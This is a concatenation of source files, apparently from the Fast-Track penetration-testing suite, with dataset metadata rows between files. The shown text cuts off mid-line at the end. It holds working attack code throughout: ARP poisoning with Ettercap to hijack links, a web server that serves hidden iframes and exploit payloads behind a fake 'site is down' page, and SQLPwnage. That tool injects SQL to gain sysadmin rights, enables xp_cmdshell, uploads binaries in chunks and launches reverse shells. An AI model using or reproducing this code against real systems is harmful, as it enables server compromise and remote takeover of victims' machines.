"Accept-Rubbish!"); # note: replacement string is same length as original string msg("Client accepted our encoding!!!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("a href=", "a href=\"http://%s\" "); replace("a href=", "a href=\"http://%s\" "); msg("Hijacking HREF's in client browser...\n"); } ''' % (ipaddr,ipaddr)) filewrite.write(filter) filewrite.close() print " Filter created..." print " Compiling Ettercap filter..." ettercompile=subprocess.Popen("etterfilter bin/appdata/fasttrack.filter -o bin/appdata/fasttrack.ef", shell=True).wait() print " Filter compiled...Running Ettercap and poisoning target..." ettercaprun=subprocess.Popen("""xterm -geometry 75x25+5-90 -T "Fast-Track Ettercap Poison" -e "ettercap -T -q -F bin/appdata/fasttrack.ef -M ARP /%s/ //" 2> /dev/null""" % (ettercap), shell=True) basepath=os.getcwd() print " Setting up Metasploit MSFConsole with various exploits..." prepfile=file("metasploitloadfile","w") payload=("set PAYLOAD %s\n" % (choice)) uri=("set URIPATH /\n") fileread=file("%s/bin/ftsrc/clientattack/exploits/list" % (basepath), "r").readlines() srvport=8000 lport=9000 for line in fileread: line=line.rstrip() a=line.split(" ") match=re.search("exploit",line) if match: line=a[4] match=re.search("aim",line) if not match: prepfile.write("use %s\n" % (line)) prepfile.write(payload) prepfile.write("set SRVPORT %s\n" % (srvport)) srvport=srvport+1 prepfile.write(uri) prepfile.write("set LPORT %s\n" % (lport)) lport=lport+1 prepfile.write("exploit\n") prepfile.close() print " If an exploit succeeds, type sessions -l to list shells and sessions -i <id>\nto interact...\n\n" print " Have someone connect to you on port 80...\n" print " Launching MSFConsole and Exploits...\n" print " Once you see the Metasploit Console launch all the exploits have someone\n connect to you.." launchsploit=subprocess.Popen("""xterm -geometry 100x50-1+1 -T "Fast-Track Mass Client Attack" -e "%smsfconsole -r %s/metasploitloadfile" 2> /dev/null""" % (metapath,basepath), shell=True) launchhttpserver=subprocess.Popen("""xterm -geometry 75x25 -T "Fast-Track Custom HTTP Server" -e "python %s/bin/ftsrc/clientattack/httpserver.py %s" 2> /dev/null""" % (basepath,ipaddr), shell=True) pause=raw_input(" Press enter to end the Mass Client Attack...") except KeyboardInterrupt: print "\n\n Exiting Fast-Track Mass Client Attack...\n\n" delfile=os.popen3("del metasploitloadfile") except Exception,e: print e print "\n\n Exiting Fast-Track Mass Client Attack...\n\n" delfile=os.popen3("rm metasploitloadfile;rm bin/appdata/fasttrack.ef;rm bin/appdata/fasttrack.filter")
8,761
Python
.py
178
39.393258
210
0.612223
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,377
httpserver.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/clientattack/.svn/text-base/httpserver.py.svn-base
#!/usr/bin/env python # Import modules needed here..all standard Python modules from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import sys import os import binascii try: import psyco psyco.full() except ImportError: pass try: ipaddr = sys.argv[1] except IndexError: ipaddr = raw_input("\n\nEnter the IP Address of your interface you want to listen on: ") definepath = os.getcwd() class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/ohn0es.jpg": unhex = binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00") self.wfile.write(unhex) if self.path == "/": target = self.client_address[0] self.wfile.write("""<html><head>""") fileopen = file("%s/bin/ftsrc/clientattack/exploits/list" % (definepath), "r").readlines() counter = 8000 fileopen2 = file("%s/bin/ftsrc/clientattack/exploits/xmlbo" % (definepath), "r").readlines() for line in fileopen2: self.wfile.write(line) for line in fileopen: line = line.rstrip() self.wfile.write("""<iframe src ="http://%s:%s/" width="0" height="0" scrolling="no"></iframe>""" % (ipaddr, counter)) counter = counter + 1 fileopen2 = file("%s/bin/ftsrc/clientattack/exploits/ms09002" % (definepath), "r").readlines() for line in fileopen2: self.wfile.write(line) for line in fileopen: line = line.rstrip() self.wfile.write("""<iframe src ="http://%s:%s/" width="0" height="0" scrolling="no"></iframe>""" % (ipaddr, counter)) counter = counter + 1 fileopen2 = file("%s/bin/ftsrc/clientattack/exploits/directshowheap" % (definepath), "r").readlines() for line in fileopen2: self.wfile.write(line) for line in fileopen: line = line.rstrip() self.wfile.write("""<iframe src ="http://%s:%s/" width="0" height="0" scrolling="no"></iframe>""" % (ipaddr, counter)) counter = counter + 1 self.wfile.write("""<title>Site is currently down...</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Sorry, the page did not load correctly, please wait while your browser refreshes and the site should appear in a moment..</p>Sorry for any disruptions this may have caused..<br>""") print "Attempt a manual connect to IP Address: %s for the XML Corruption Exploit on port 5500, i.e. nc %s 5500" % (target, target) # Print standard browser headers def printBrowserHeaders(self): self.wfile.write("<p>Headers: <br>") header_keys = self.headers.dict.keys() for key in header_keys: self.wfile.write("<b>" + key + "</b>: ") self.wfile.write(self.headers.dict[key] + "<br>") # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer((ipaddr, 80), myRequestHandler) print "\n****************************************\nFast-Track Mass Client Attack Web Server\nWritten by: David Kennedy (ReL1K)\n****************************************\n" print "Starting HTTP Server on %s port 80\n" % (ipaddr) print "*** Have someone connect to you on %s port 80 ***\n" % (ipaddr) print "Type <control>-c to exit.." try: httpd.handle_request() httpd.serve_forever() except KeyboardInterrupt: print "\n\nExiting Fast-Track Metasploit Mass Client Attack...\n\n" raise KeyboardInterrupt #sys.exit()
4,339
Python
.py
83
41.301205
268
0.595143
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,378
sqlpwnage.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlpwnage/sqlpwnage.py
#!/usr/bin/env python ########################################################################### # Created by: Andrew Weidenhamer and David Kennedy # # # # Email: aweidenhamer@SecureState.com # # # # DISCLAIMER: This is only for testing purposes and can only be # # used where strict consent has been given. Do not use this for # # illegal purposes period. # # # ########################################################################### import sys,os,time,re,subprocess # ########################################################################### ################################ # Define CWD and Metasploit DIR ################################ definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line remold=subprocess.Popen("rm bin/appdata/ipaddr 2> /dev/null", shell=True).wait() print " Checking SQLPwnage dependencies required to run...\n" try: from BeautifulSoup import BeautifulSoup except ImportError: print " BeautifulSoup is not installed. Please run python setup.py install from the Fast-Track root directory.\n" print " Exiting Fast-Track...\n\n" sys.exit() try: import pymills print "*** PyMills is installed. (Check) ***" except ImportError: print "!!! *ERROR* PyMills is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing PyMills Python Module, this may take a few mins" grabsetuptools=os.system("svn co http://svn.python.org/projects/sandbox/branches/setuptools-0.6/ pym;cd pym;python setup.py install;cd ..;rm -rf pym") installpymills=os.system('wget http://pypi.inqbus.de/pymills/pymills-3.4.tar.gz;tar -zxvf pymills-3.4.tar.gz;mv pymills-3.4 pymills;cd pymills/;python setup.py install;cd ..;rm -rf pymills*') print "PyMills Installed.." print "Re-checking dependancy" try: import pymills print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "PyMills is installed but you will need to restart Fast-Track in order for it to work properly." sys.exit() # DAVE Payload Delivery here def Payload_Delivery(f,my_input): import random try: payloadchoice=sys.argv[6] except IndexError: payloadchoice=raw_input("""\nWhat type of payload do you want?\n\n1. Custom Packed Fast-Track Reverse Payload (AV Safe)\n2. Metasploit Reverse VNC Inject (Requires Metasploit)\n3. Metasploit Meterpreter Payload (Requires Metasploit)\n4. Metasploit TCP Bind Shell (Requires Metasploit)\n\nSelect your choice: """) try: port=sys.argv[7] except IndexError: port=raw_input("Enter the port you want to listen on: ") try: if os.path.isfile("bin/appdata/ipaddr"): fileopen=file("bin/appdata/ipaddr","r").readlines() for line in fileopen: ipaddr=line.rstrip() if not os.path.isfile("bin/appdata/ipaddr"): ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] ipaddrwrite=file("bin/appdata/ipaddr", "w") ipaddrwrite.write(ipaddr) ipaddrwrite.close() except Exception: print "No internet connection detected, please enter your IP Address in manually." ipaddr=raw_input("Enter your IP here: ") ipaddrwrite=file("bin/appdata/ipaddr", "w") ipaddrwrite.write(ipaddr) ipaddrwrite.close() time.sleep(2) print "[+] Importing 64kb debug bypass payload into Fast-Track... [+]" # Take our hex2bin payload and read the lines formatpayload=file("%s/bin/ftsrc/payload/h2b" % (definepath),"r").readlines() time.sleep(2) print "[+] Import complete, formatting the payload for delivery.. [+]" # Set counters r=0 x=0 z=0 # Delete old stuff and pipe out error messages to /dev/null delold=subprocess.Popen("rm %s/bin/appdata/h2bformat* 2> /dev/null" % (definepath), shell=True).wait() for line in formatpayload: # We use this to format our payload to a specific format writepayload=open("%s/bin/appdata/h2bformat%s" % (definepath,z),"a") line=line.rstrip() # Set the first request if r < 1: line=(r"';exec master..xp_cmdshell '%s > h2b%s'" % (line,z)) if r > 0: line=(r";exec master..xp_cmdshell '%s >>h2b%s'" % (line,z)) # Tick tock the counter goes up r=r+1 writepayload.write(line) x=x+1 # Change number 300 here to increase or decrease H2b Split if x > 100: # Reset the counters writepayload.write("--") z=z+1 x=0 r=0 writepayload.write("--") writepayload.close() z=z+1 print "[+] Payload Formatting prepped and ready for launch. [+]" print "[+] Executing SQL commands to elevate account permissions. [+]" # Here we try to elevate rights to "sa", its kinda lame but has worked in the past payload=("';declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, 'sysadmin'--") f[my_input] = payload req = f.click() urllib2.urlopen(req) # No stinkin' xp_cmdshell? Well whoppppieeee print "[+] Initiating stored procedure: 'xp_cmdhshell' if disabled. [+]" payload=("';exec master.dbo.sp_configure 'show advanced options', 1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;--") f[my_input] = payload req = f.click() urllib2.urlopen(req) # DEP usually isn't a problem, this was done just to be safe.. #print "[+] Turning off Data Execution Prevention (DEP) if enabled... [+]" #payload=("';exec master..xp_cmdshell 'bcdedit.exe /set nx AlwaysOff'--") #f[my_input] = payload #req = f.click() #urllib2.urlopen(req) # Yet another counter, theres like 50 more as this goes down :P t=0 endstring=("--") # OK. This one is a long story, if you can't do all your echo's in 1 sql query, it gets suppppppppper buggy # and starts echo'ing multiple times with totally screws everything up. So here we take all the files that we # made and type them all together in 1 SQL query, it works, its a hack, we know, but it works :) filewrite=file("%s/bin/appdata/typestring" % (definepath), "w") while t != z: if t == 0: formatpayload=("';exec master..xp_cmdshell 'type h2b%s > h2b'" % (t)) if t > 0: formatpayload=(";exec master..xp_cmdshell 'type h2b%s >> h2b'" % (t)) t=t+1 filewrite.write(formatpayload) filewrite.write(endstring) filewrite.close() print "[+] Delivery Complete. [+]" try: # custom reverse payload if payloadchoice=='1': delivery=("reverse") # Start listeners ncstarter=pexpect.spawn('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage SQL Injector" -e nc -lvp %s' % (port)) # standard reverse tcp vnc if payloadchoice == '2': delivery=("metasploit") print "Launching MSFCLI VNC Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPWnage Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() # Standard reverse tcp meterpreter shell if payloadchoice == '3': delivery=("metasploit") print "Launching MSFCLI Meterpreter Handler" msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPWnage Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() # Standard bind shell if payloadchoice == '4': delivery=("bindshell") msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/shell_bind_tcp LPORT=%s X > %s/bin/appdata/bindshell" % (metapath,port,definepath), shell=True).wait() # start the binary to hex conversion stuff here print "Taking raw binary and converting to hex." import binascii if delivery==("metasploit"): fileopen=file('%s/bin/appdata/%s' % (definepath,delivery),'rb').readlines() if delivery==("bindshell"): fileopen=file('%s/bin/appdata/%s' % (definepath,delivery),'rb').readlines() if delivery ==("reverse"): fileopen=file('%s/bin/ftsrc/payload/%s' % (definepath,delivery),'rb').readlines() filewrite=file('%s/bin/appdata/reversehex' % (definepath),'w') for line in fileopen: # Convert our binary to straight hex, no formatting. line=binascii.hexlify(line) filewrite.write(line) filewrite.close() fileopen2=open('%s/bin/appdata/reversehex' % (definepath)) filewrite2=file("%s/bin/appdata/reversehexsplit" % (definepath),"w") print "Raw binary converted to straight hex." time.sleep(2) except Exception: pass # The major try block here try: print "[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]" s=0 b=s+1 try: # Deliver the payload while z != s: payloadopen=file("%s/bin/appdata/h2bformat%s" % (definepath,s),"r").readlines() for line in payloadopen: # Broken into chunks incase its GET, POST isn't an issue but session requests are limited with GET print "[+] Sending chunked payload. Number %s of %s. This may take a bit. [+]" % (b,z) line=line.rstrip() payload = (line) f[my_input] = payload req = f.click() urllib2.urlopen(req) s=s+1 b=b+1 # Throw errors just in case except Exception,e: print e readtype=file("%s/bin/appdata/typestring" % (definepath), "r").readlines() for line in readtype: line=line.rstrip() payload = (line) f[my_input] = payload req = f.click() urllib2.urlopen(req) # here we take our special hex and convert back to a binary print "[+] Conversion from hex to binary in progress. [+]" payload = ("';exec master..xp_cmdshell 'debug<h2b'--") f[my_input] = payload req = f.click() urllib2.urlopen(req) print "[+] Conversion complete. Moving the binary to an executable. [+]" # debug places whatever as .bin, we just move it to h2b.exe payload = ("';exec master..xp_cmdshell 'move moo.bin h2b.exe'--") f[my_input] = payload req = f.click() urllib2.urlopen(req) # Split into chunks if we run into GET requests. print "[+] Splitting the hex into 100 character chunks [+]" while fileopen2: a=fileopen2.read(100).rstrip() if a == "": break filewrite2.write(a) filewrite2.write("\n") filewrite2.close() time.sleep(2) print "[+] Split complete. [+]" print "[+] Prepping the payload for delivery. [+]" # Counters, Counters, and more Counters r=0 x=0 z=0 import string,random # we generate a random name here in case theres multiple payloads running, ran into issues where if one was # running and the same name, the next sploit wouldn't work. randomgen=random.randrange(1,10000) ftpayloadran=("ftpayload") ftpayloadran=str(ftpayloadran)+str(randomgen) delold=subprocess.Popen("rm %s/bin/appdata/reversehexdelivery* 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/reversehexsplit" % (definepath),"r").readlines() for line in fileopen: writepayload=open("%s/bin/appdata/reversehexdelivery%s" % (definepath,z),"a") line=line.rstrip() if r < 1: line=(r"';exec master..xp_cmdshell 'echo %s>%s%s'" % (line,ftpayloadran,z)) if r > 0: line=(r";exec master..xp_cmdshell 'echo %s>>%s%s'" % (line,ftpayloadran,z)) r=r+1 writepayload.write(line) x=x+1 # Change number 30 here to increase or decrease Payload Split if x > 100: writepayload.write("--") z=z+1 x=0 r=0 writepayload.write("--") writepayload.close() z=z+1 t=0 endstring=("--") # Format type into files here filewrite=file("%s/bin/appdata/typestring" % (definepath), "w") while t != z: if t == 0: formatpayload=("';exec master..xp_cmdshell 'type %s%s>%s'" % (ftpayloadran,t,ftpayloadran)) if t > 0: formatpayload=(";exec master..xp_cmdshell 'type %s%s>>%s'" % (ftpayloadran,t,ftpayloadran)) t=t+1 filewrite.write(formatpayload) filewrite.write(endstring) filewrite.close() s=0 b=s+1 try: while z != s: payloadopen=file("%s/bin/appdata/reversehexdelivery%s" % (definepath,s),"r").readlines() for line in payloadopen: line=line.rstrip() payload = (line) print "Sending chunk %s of %s, this may take a bit..." % (b,z) f[my_input] = payload req = f.click() urllib2.urlopen(req) #increase tick s=s+1 b=b+1 except Exception,e: print e # Type files into one file readtype=file("%s/bin/appdata/typestring" % (definepath), "r").readlines() for line in readtype: line=line.rstrip() payload = (line) f[my_input] = payload req = f.click() urllib2.urlopen(req) print "Using H2B Bypass to convert our Payload to Binary.." launchpayload=("';exec master..xp_cmdshell 'h2b.exe %s'--" % (ftpayloadran)) payload = (launchpayload) f[my_input] = payload req = f.click() urllib2.urlopen(req) launchpayload2=("';exec master..xp_cmdshell '%s %s %s'--" % (ftpayloadran,ipaddr,port)) print "Running cleanup before launching the payload...." cleanup=("';exec master..xp_cmdshell 'del h2b*'--") f[my_input]=cleanup req=f.click() urllib2.urlopen(req) print "[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]" if delivery == 'bindshell': targetip=raw_input("If successful, a bind shell should be on the system. Enter the IP or Hostname of the victim: ") msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPWnage Metasploit Bind Shell" -e nc %s %s""" % (targetip,port)) payload = (launchpayload2) f[my_input] = payload req = f.click() urllib2.urlopen(req) f[my_input]="erasepriorvar" print "You should have a shell if everything went good..Might take a couple seconds\n" except Exception,e: print e #pass #try: # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((ipaddr, (port))) #except socket.error: # sys.stdout.write('\a') # sys.stdout.flush() print "I HAZ BEEN PWNED O KNOS!!!!!!" cleanup=raw_input("Would you like to run cleanup on the remote server to remove the files, y or n: ") if cleanup == 'n' : print "\nExiting Fast-Track..." sys.exit() if cleanup == 'y': launchpayload1=("';exec master..xp_cmdshell 'rm ftpayload*'--") launchpayload2=("';exec master..xp_cmdshell 'rm h2b*'--") payload = (launchpayload1) f[my_input] = payload req = f.click() urllib2.urlopen(req) payload = (launchpayload2) f[my_input] = payload req = f.click() urllib2.urlopen(req) breakpoint=raw_input("Press control-c to exit Fast-Track or press enter to continue attacking.") else: print "Only hit y or n, try again..." cleanup def Exploit_Error(f): ##################################################################################### ##################################################################################### #Looks for SQL injection by injecting form fields with single quotes and other stuff ##################################################################################### counter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') count=0 for line in counter: line=line.rstrip() count=count+1 print "[+] Number of forms detected: "+str(count)+ " [+]\n" copy= subprocess.Popen("cp %s/bin/appdata/fields.txt %s/bin/appdata/fields2.txt" % (definepath,definepath), shell=True).wait() copy= open ("%s/bin/appdata/fields2.txt" % (definepath), "r") inputter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') for line in inputter.readlines(): my_input = line.strip() login = open('%s/bin/ftsrc/sqlpwnage/app/login_bypass.txt' % (definepath), 'r') for my_line in login.readlines(): sqlinject = my_line.strip() try: count2=0 while count2 != count: count2=count2+1 for line3 in copy: line3=line3.strip() f[line3] = "TEST" f[my_input] = sqlinject except ClientForm.ControlNotFoundError: pass try: req = f.click() except Exception: pass try: try: urllib2.urlopen(req).read() except UnboundLocalError: pass except URLError, e: try: exeception = e.read() except AttributeError: pass try: str(exeception) except Exception: pass try: error = re.search('SQL|SqlClient.SqlException|sql|ODBC|odbc', exeception) if (error): print "A SQL Exception has been encountered in the \""+my_input+"\" input field of the above website." if (error): Payload_Delivery(f,my_input) except Exception: pass def Exploit_Blind(f): ########################################################################################################################################### ########################################################################################################################################## #Blind SQL Injection ########################################################################################################################################### counter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') count=0 for line in counter: line=line.rstrip() count=count+1 print "[+] Number of forms detected: "+str(count)+" [+]\n" copy= subprocess.Popen("cp %s/bin/appdata/fields.txt %s/bin/appdata/fields2.txt" % (definepath,definepath), shell=True).wait() copy= open ("%s/bin/appdata/fields2.txt" % (definepath), "r") inputter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') for line in inputter.readlines(): my_input = line.strip() login = open('%s/bin/ftsrc/sqlpwnage/app/login_bypass.txt' % (definepath), 'r') for my_line in login.readlines(): sqlinject = my_line.strip() try: count2=0 while count2 != count: count2=count2+1 for line3 in copy: line3=line3.strip() f[line3] = "TEST" f[my_input] = sqlinject except Exception,e: print e Payload_Delivery(f,my_input) def Crawl_URL(option, c, flag): if (flag == 0): ################################################################################################################################################## #Crawl User Entered Website ################################################################################################################################################## # get max depth from config counter=0 fileopen=file("bin/config/config", "r").readlines() for line in fileopen: search=re.search("MAXDEPTH=",line) if search: line=line.rstrip() depth=line.split("=") depth=depth[1] counter=1 print depth if counter == '0': depth=int("100000") cmd = "python %s/bin/ftsrc/sqlpwnage/app/spider/spider.py -d %s " %(definepath,depth) +option os.system(cmd) print print "Spidering is complete." print if (flag == 1): crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'w') print >> crawled, option ################################################################################################################################################## ################################################################################################################################################## #Open Crawled Websites One by One looking for SQL injection ################################################################################################################################################## crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'r') for line in crawled.readlines(): site = line.strip() value = re.search(str(option), site) print '*************************************************************************' print site print '*************************************************************************' if (str(value) != 'None'): request = urllib2.Request(site) try: response = urllib2.urlopen(request) except URLError, e: pass try: forms = ClientForm.ParseResponse(response, backwards_compat=False) except DeprecationWarning: pass except TypeError: pass except NameError: pass except ClientForm.ParseError: pass try: my_form = str(forms) except NameError: my_form = '[]' if (my_form != "[]"): output = open('%s/bin/appdata/output.txt' % (definepath), 'w') response.close() form = forms[0] ##################################################################################################################################### #Populates Form Input and Submit Button IDs #################################################################################################################################### print >> output, form output.close() formfields = open('%s/bin/appdata/fields.txt' % (definepath), 'w') output = open('%s/bin/appdata/output.txt' % (definepath), 'r') for line in output.readlines(): match = re.search('Control', line) if (match): notinject = re.search('readonly|CheckboxControl|ImageControl|SelectControl|Submit|IgnoreControl|ListControl|SubmitControl|RadioControl', line) if (not notinject): print my_match = re.search('\((.*)\)', line) newstr = str(my_match.group(1)) newer_match = re.match('(.*)=', newstr) print >> formfields, newer_match.group(1) output.close() formfields.close() if (c == '2'): Exploit_Error(form) if (c == '1' or c == '3'): Exploit_Blind(form) ################################ # End Function Definitions ################################ ##### Print welcome screen ##### # Import Psyco if available ################################ ########################################################################### # Check to make sure that this script is running under root ########################################################################### if os.geteuid() != 0: print print " Fast-Track not running under root. Please re-run the tool under root...\n" sys.exit(1) try: import psyco psyco.full() # Pass if import unsuccessful except ImportError: print " Psyco not detected....Recommend installing it for increased speeds." pass # End Pysco Availability try: import ClientForm import os import pymills import urllib2 import re import urlparse import optparse import collections from BeautifulSoup import BeautifulSoup from urllib2 import urlopen from urllib2 import URLError from ClientForm import ParseResponse import socket, pexpect except ImportError: print " One or more of the dependencies needed to run" print " Run python setup.py install in the Fast-Track root." # Main Menu to choose try: #while 1==1 : try: choice=sys.argv[3] except IndexError: print """ SQLPWnage written by: Andrew Weidenhamer and David Kennedy SQLPwnage is a mass pwnage tool custom coded for Fast-Track. SQLPwnage will attempt to identify SQL Injection in a website, scan subnet ranges for web servers, crawl entire sites, fuzz form parameters and attempt to gain you remote access to a system. We use unique attacks never performed before in order to bypass the 64kb debug restrictions on remote Windows systems and deploy our large payloads without restrictions. This is all done without a stager to download remote files, the only egress connections made are our final payload. Right now SQLPwnage supports three payloads, a reverse tcp shell, metasploit reverse tcp meterpreter, and metasploit reverse vnc inject. Some additional features are, elevation to "sa" role if not added, data execution prevention (DEP) disabling, anti-virus bypassing, and much more! This tool is the only one of its kind, and is currently still in beta. """ choice=raw_input(''' SQLPwnage Main Menu: 1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND) 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED) 3. SQL Injection single URL exploitation <ctrl>-c to Cancel Enter your choice: ''') if choice == '1': print """ ---------------------------------------------------------------- - - - - - WARNING: This module can take a very long time to complete - - and is not recommended until first attempting to - - identify SQL injection by SQL error messages - - (Module 2) - - - - This module has the following two options: - - - - 1) Spider a single URL attempting blind sql injection - - explotation - - - - 2) Scan an entire subnet looking for webservers running on - - port 80. The user will then be prompted with two - - choices: 1) Select a website or, 2) Attempt to spider - - all websites that was found during the scan attempting - - to identify possible SQL Injection. This module will - - attempt blind SQL injection on every form parameter - - that is identified - - - - This module is NOT based on any error messages but rather - - attempts blind sql injection on every single "form" - - parameter on every single page. - - - - If all goes well a reverse shell will be returned back to - - the user. - ---------------------------------------------------------------- """ try: test=sys.argv[4] except IndexError: test = raw_input("""Scan a subnet or spider single URL?\n 1. url 2. subnet (new) 3. subnet (lists last scan) Enter the Number: """) if (test == '1'): print output = open('%s/bin/appdata/output.txt' % (definepath), 'w') ################################################################################################################################################### ################################################################################################################################################### #User Inputs Website ################################################################################################################################################## try: option=sys.argv[5] except IndexError: option = raw_input("Enter IP address (ex: www.xxxxx.com): ") match = re.search('http://', option) if (not match): match2=re.search('https://', option) if match2: print "SSL Detected. Establishing tunnel...." # print "Currently Fast-Track does not support SSL. Coming soon..." # sys.exit() opt=option if (not match2): opt = ("http://"+option) if (match): opt=option print opt request = urllib2.Request(opt) try: response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError, e: print "[-] Sorry, no POST parameters were identified on this site [-]" elif (test == '2'): try: ipaddr=sys.argv[5] except Exception: ipaddr=raw_input("Enter the ip range, example 192.168.1.1-254: ") print "Scanning for web servers in the subnet, please wait..." cmd = 'sudo nmap -sT -v -PN -p80 ' + ipaddr + ' > %s/bin/ftsrc/sqlpwnage/app/webscan.txt 2> /dev/null' % (definepath) os.system(cmd) scanres=os.popen("grep \"Discovered\" %s/bin/ftsrc/sqlpwnage/app/webscan.txt" % (definepath)).read() if not scanres: print "\nNo WebServers were found...Sorry.\n" else: cmd = 'grep "Discovered" %s/bin/ftsrc/sqlpwnage/app/webscan.txt | cut -c32-47 > %s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath,definepath) os.system(cmd) websites = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') for line in websites.readlines(): web = line.strip() os.system(cmd) scanres2=os.popen("cat %s/bin/ftsrc/sqlpwnage/app/webopen.txt" % (definepath)).read() if not scanres: print "\nWebserver found, but does not resolve...Sorry.\n" else: print option3 = raw_input("""Scanning Complete!!! Select a website to spider or spider all??\n\n 1. Single Website\n 2. All Websites\n\n Enter the Number: """) if (option3 == '1'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '.' + " " + line compsystem=open("%scomp" % (x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) if (option3 == '2'): webrange=open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') for line in webrange.readlines(): line=line.strip() opt="http://" + line request = urllib2.Request(opt) try: print "Attempting to Spider: " + opt response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError: print print "[-] Sorry, no POST Parameters were identified on this site. [-]" elif (test == '3'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '. ' + line compsystem=open("%s/bin/ftsrc/sqlpwnage/app/%scomp" % (definepath,x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) else: print print "***********************************************************" print "Not a Valid Choice!! Please re-enter a valid menu option." print "***********************************************************" elif choice == '2': print """ --------------------------------------------------------------- - This module has the following two options: - - - - 1) Spider a single URL looking for SQL Injection. If - - successful in identifying SQL Injection, it will then - - give you a choice to exploit. - - - - 2) Scan an entire subnet looking for webservers running on - - port 80. The user will then be prompted with two - - choices: 1) Select a website or, 2) Attempt to spider - - all websites that was found during the scan attempting - - to identify possible SQL Injection. If SQL Injection - - is identified, the user will then have an option to - - exploit. - - - - This module is based on error messages that are most - - commonly returned when SQL Injection is prevalent on - - web application. - - - - If all goes well a reverse shell will be returned back to - - the user. - --------------------------------------------------------------- """ try: test=sys.argv[4] except IndexError: test = raw_input("""Scan a subnet or spider single URL?\n 1. url 2. subnet (new) 3. subnet (lists last scan) Enter the Number: """) if (test == '1'): print output = open('%s/bin/appdata/output.txt' % (definepath), 'w') ############################################################### ############################################################### #User Inputs Website ############################################################### try: option=sys.argv[5] except IndexError: option = raw_input("Enter IP address (ex: 